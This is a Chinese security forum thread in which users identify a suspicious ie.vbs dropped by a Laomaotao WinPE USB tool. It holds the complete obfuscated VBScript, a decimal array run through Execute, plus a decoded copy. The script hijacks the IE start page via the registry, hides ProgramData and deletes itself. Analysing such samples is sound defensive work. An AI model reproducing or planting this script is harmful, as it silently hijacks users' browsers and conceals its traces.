老毛桃pe 可疑vbs

美拉美啦

老毛桃winpe制作的U盘，进入PE系统，在退出重启后杀软报告
ie.vbs 在开始菜单启动处发现
相关代码及提问--

http://sky123.org/thread-160752-1-1.html
http://tieba.baidu.com/p/1233472897

http://zhidao.baidu.com/question/326356304.html

再求鉴定及如何从u盘的usb-hdd或usb-zip清除这个老毛桃版的U盘pe系统文件？

美拉美啦

http://wepawet.iseclab.org/view. ... a25aec9&type=js
送往这里分析是否合适

幸福的猪猪

修改IE主页的vbs。

留侯

开机篡改浏览器首页哇！

ADSLgg

strs=array(13,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,32,39,-18496,-10567,-19466,-12330,-19219,-12557,13,10,115,101,116,32,108,104,119,121,61,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,32,39,-18496,-10567,-19466,-12330,-19219,-12557,13,10,112,97,116,104,61,34,72,75,69,89,95,76,79,67,65,76,95,77,65,67,72,73,78,69,92,83,79,70,84,87,65,82,69,92,77,105,99,114,111,115,111,102,116,92,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,92,109,97,105,110,92,83,116,97,114,116,32,80,97,103,101,34,13,10,116,102,61,108,104,119,121,46,114,101,103,119,114,105,116,101,40,112,97,116,104,44,34,104,116,116,112,58,47,47,119,119,119,46,51,52,53,54,120,46,99,111,109,47,34,41,13,10,115,101,116,32,112,97,116,104,61,110,111,116,104,105,110,103,13,10,112,97,116,104,61,34,72,75,69,89,95,67,85,82,82,69,78,84,95,85,83,69,82,92,83,79,70,84,87,65,82,69,92,77,73,67,82,79,83,79,70,84,92,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,92,77,97,105,110,92,83,116,97,114,116,32,80,97,103,101,34,13,10,116,102,61,108,104,119,121,46,114,101,103,119,114,105,116,101,40,112,97,116,104,44,34,104,116,116,112,58,47,47,119,119,119,46,51,52,53,54,120,46,99,111,109,47,34,41,13,10,13,10,87,83,99,114,105,112,116,46,83,108,101,101,112,40,50,53,48,48,48,41,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,32,39,-18496,-10567,-19466,-12330,-19219,-12557,13,10,115,101,116,32,108,104,119,121,61,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,32,39,-18496,-10567,-19466,-12330,-19219,-12557,13,10,112,97,116,104,61,34,72,75,69,89,95,76,79,67,65,76,95,77,65,67,72,73,78,69,92,83,79,70,84,87,65,82,69,92,77,105,99,114,111,115,111,102,116,92,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,92,109,97,105,110,92,83,116,97,114,116,32,80,97,103,101,34,13,10,116,102,61,108,104,119,121,46,114,101,103,119,114,105,116,101,40,112,97,116,104,44,34,104,116,116,112,58,47,47,119,119,119,46,51,52,53,54,120,46,99,111,109,47,34,41,13,10,115,101,116,32,112,97,116,104,61,110,111,116,104,105,110,103,13,10,112,97,116,104,61,34,72,75,69,89,95,67,85,82,82,69,78,84,95,85,83,69,82,92,83,79,70,84,87,65,82,69,92,77,73,67,82,79,83,79,70,84,92,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,92,77,97,105,110,92,83,116,97,114,116,32,80,97,103,101,34,13,10,116,102,61,108,104,119,121,46,114,101,103,119,114,105,116,101,40,112,97,116,104,44,34,104,116,116,112,58,47,47,119,119,119,46,51,52,53,54,120,46,99,111,109,47,34,41,13,10,13,10,67,111,110,115,116,32,65,68,77,73,78,73,83,84,82,65,84,73,86,69,95,84,79,79,76,83,32,61,32,54,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110,34,41,13,10,83,101,116,32,111,98,106,70,111,108,100,101,114,32,61,32,111,98,106,83,104,101,108,108,46,78,97,109,101,115,112,97,99,101,40,65,68,77,73,78,73,83,84,82,65,84,73,86,69,95,84,79,79,76,83,41,32,13,10,83,101,116,32,111,98,106,70,111,108,100,101,114,73,116,101,109,32,61,32,111,98,106,70,111,108,100,101,114,46,83,101,108,102,32,32,32,32,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,87,83,99,114,105,112,116,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,115,116,114,68,101,115,107,116,111,112,70,108,100,32,61,32,111,98,106,70,111,108,100,101,114,73,116,101,109,46,80,97,116,104,13,10,83,101,116,32,111,98,106,85,82,76,83,104,111,114,116,99,117,116,32,61,32,111,98,106,83,104,101,108,108,46,67,114,101,97,116,101,83,104,111,114,116,99,117,116,40,115,116,114,68,101,115,107,116,111,112,70,108,100,32,38,32,34,92,-16177,-15445,-13102,-17959,-12808,46,117,114,108,34,41,13,10,111,98,106,85,82,76,83,104,111,114,116,99,117,116,46,84,97,114,103,101,116,80,97,116,104,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,108,97,111,109,97,111,116,97,111,46,110,101,116,47,34,13,10,111,98,106,85,82,76,83,104,111,114,116,99,117,116,46,83,97,118,101,13,10,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,32,39,-18496,-10567,-19466,-12330,-19219,-12557,13,10,68,105,109,32,111,98,106,119,115,44,111,98,106,102,115,111,44,100,110,13,10,83,101,116,32,111,98,106,119,115,61,87,83,99,114,105,112,116,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,83,101,116,32,111,98,106,102,115,111,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,115,99,114,105,112,116,105,110,103,46,102,105,108,101,115,121,115,116,101,109,111,98,106,101,99,116,34,41,13,10,100,110,61,111,98,106,102,115,111,46,71,101,116,68,114,105,118,101,78,97,109,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,111,98,106,119,115,46,114,117,110,32,34,97,116,116,114,105,98,32,43,104,32,34,32,38,32,100,110,32,38,32,34,92,80,114,111,103,114,97,109,68,97,116,97,34,44,48,13,10,13,10,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,32,39,-18496,-10567,-19466,-12330,-19219,-12557,13,10,83,101,116,32,102,115,111,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,13,10,87,83,99,114,105,112,116,46,83,108,101,101,112,32,51,48,48,48,32,39,-16981,-16955,-20034,-10572,-12080,-17966,-14608,49,-15381,13,10,102,115,111,46,68,101,108,101,116,101,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,78,97,109,101,41,32,39,-13890,-19459,-16955,-20034,-10284,-13843,13,10,73,102,32,102,115,111,46,70,105,108,101,69,120,105,115,116,115,40,34,67,58,92,68,111,99,117,109,101,110,116,115,32,97,110,100,32,83,101,116,116,105,110,103,115,92,65,108,108,32,85,115,101,114,115,92,-24136,-16470,-13636,-24135,-19765,-19035,92,-19508,-12046,92,-14604,-18769,92,73,69,46,86,66,83,34,41,32,84,104,101,110,32,102,115,111,46,68,101,108,101,116,101,70,105,108,101,40,34,67,58,92,68,111,99,117,109,101,110,116,115,32,97,110,100,32,83,101,116,116,105,110,103,115,92,65,108,108,32,85,115,101,114,115,92,-24136,-16470,-13636,-24135,-19765,-19035,92,-19508,-12046,92,-14604,-18769,92,73,69,46,86,66,83,34,41,32,39,-13890,-19459,-19508,-12046,32,-14105,-17925,-19781,-12309,-13890,-19459,-16439,-11564,-15425,-19250,-18756,-12066,-18236,-10505,-11597,13,10,13,10,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,32,39,-18496,-10567,-19466,-12330,-19219,-12557,13,10,83,101,116,32,102,115,111,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,13,10,87,83,99,114,105,112,116,46,83,108,101,101,112,32,49,48,48,48,32,39,-16981,-16955,-20034,-10572,-12080,-17966,-14608,49,-15381,13,10,102,115,111,46,68,101,108,101,116,101,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,78,97,109,101,41,32,39,-13890,-19459,-16955,-20034,-10284,-13843,13,10,73,102,32,102,115,111,46,70,105,108,101,69,120,105,115,116,115,40,34,67,58,92,80,114,111,103,114,97,109,68,97,116,97,92,77,105,99,114,111,115,111,102,116,92,87,105,110,100,111,119,115,92,83,116,97,114,116,32,77,101,110,117,92,80,114,111,103,114,97,109,115,92,83,116,97,114,116,117,112,92,73,69,46,86,66,83,34,41,32,84,104,101,110,32,102,115,111,46,68,101,108,101,116,101,70,105,108,101,40,34,67,58,92,80,114,111,103,114,97,109,68,97,116,97,92,77,105,99,114,111,115,111,102,116,92,87,105,110,100,111,119,115,92,83,116,97,114,116,32,77,101,110,117,92,80,114,111,103,114,97,109,115,92,83,116,97,114,116,117,112,92,73,69,46,86,66,83,34,41,32,39,-13890,-19459,-19508,-12046,32,-14105,-17925,-19781,-12309,-13890,-19459,-16439,-11564,-15425,-19250,-18756,-12066,-18236,-10505,-11597,13,10,13,10,119,115,99,114,105,112,116,46,113,117,105,116,13,10)<br />
for i=1 to UBound(strs)<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;runner=runner&amp;chr(strs(i))<br />
next<br />
Execute runner<br />
<br />
<br />

红伞kill

solstice1988

ADSLgg 发表于 2011-11-23 19:25
strs=array(13,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,32,39,-18496, ...

你自己看得懂么？

帅就是帅

一段修改ie主页为www.3456x.com并向收藏夹添加老毛桃官网的vbs
对vbs加密，根本都是在hook execute，稍微变形下就可以得到解密内容
比如本帖这个加上相关标签后alert替换并ie执行就得到了完整内容

PS：这段十进制的obfuscation谁也没法直接一眼看懂的。。。
vbs也差不多死了

附上内容：

1. ---------------------------Message from webpage---------------------------On Error Resume Next '防止出现错误set lhwy=createobject("wscript.shell")On Error Resume Next '防止出
   
2. 
   
3. 现错误path = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start
   
4. 
   
5. Page"
   
6. tf = lhwy.regwrite(path, "http://www.3456x.com/") set path = nothingpath = "HKEY_CURRENT_USER
   
7. 
   
8. \SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
   
9. tf = lhwy.regwrite
   
10. 
    
11. (path, "http://www.3456x.com/") WScript.Sleep(25000) On Error Resume Next '防止出现错误set
    
12. 
    
13. lhwy=createobject("wscript.shell")On Error Resume Next '防止出现错误path = "HKEY_LOCAL_MACHINE
    
14. 
    
15. \SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
    
16. tf = lhwy.regwrite
    
17. 
    
18. (path, "http://www.3456x.com/") set path = nothingpath = "HKEY_CURRENT_USER\SOFTWARE
    
19. 
    
20. \MICROSOFT\Internet Explorer\Main\Start Page"
    
21. tf = lhwy.regwrite(path, "http://www.3456x.com/") Const
    
22. 
    
23. ADMINISTRATIVE_TOOLS = 6Set objShell = CreateObject("Shell.Application") Set objFolder =
    
24. 
    
25. objShell.Namespace(ADMINISTRATIVE_TOOLS) Set objFolderItem = objFolder.Self Set objShell =
    
26. 
    
27. WScript.CreateObject("WScript.Shell") strDesktopFld = objFolderItem.PathSet objURLShortcut =
    
28. 
    
29. objShell.CreateShortcut(strDesktopFld & "\老毛桃官网.url") objURLShortcut.TargetPath =
    
30. 
    
31. "http://www.laomaotao.net/"
    
32. objURLShortcut.SaveOn Error Resume Next '防止出现错误Dim
    
33. 
    
34. objws,objfso,dnSet objws=WScript.CreateObject("wscript.shell")Set objfso=CreateObject
    
35. 
    
36. ("scripting.filesystemobject")dn=objfso.GetDriveName(WScript.ScriptFullName)objws.run "attrib +h " &
    
37. 
    
38. dn & "\ProgramData",0On Error Resume Next '防止出现错误Set fso = CreateObject
    
39. 
    
40. ("Scripting.FileSystemObject") WScript.Sleep 3000 '将脚本执行挂起1秒fso.DeleteFile(WScript.ScriptName)
    
41. 
    
42. '删除脚本自身If fso.FileExists("C:\Documents and Settings\All Users\「开始」菜单\程序\启动\IE.VBS") Then
    
43. 
    
44. fso.DeleteFile("C:\Documents and Settings\All Users\「开始」菜单\程序\启动\IE.VBS")'删除程序 如果不想
    
45. 
    
46. 删除可以每次都修改主页On Error Resume Next '防止出现错误Set fso = CreateObject
    
47. 
    
48. ("Scripting.FileSystemObject") WScript.Sleep 1000 '将脚本执行挂起1秒fso.DeleteFile(WScript.ScriptName)
    
49. 
    
50. '删除脚本自身If fso.FileExists("C:\ProgramData\Micro…
    
51. ---------------------------
    
52. OK   
    
53. ---------------------------
    

复制代码

ADSLgg

solstice1988 发表于 2011-11-23 23:31
你自己看得懂么？

看不懂，是给你们看的

saga3721

既然如此卡饭是不是该警告一下大伙儿，给这只老毛桃拔拔毛呢

/tiao眼镜鱼

ADSLgg 发表于 2011-11-24 00:21
看不懂，是给你们看的

杀了我吧，头都大了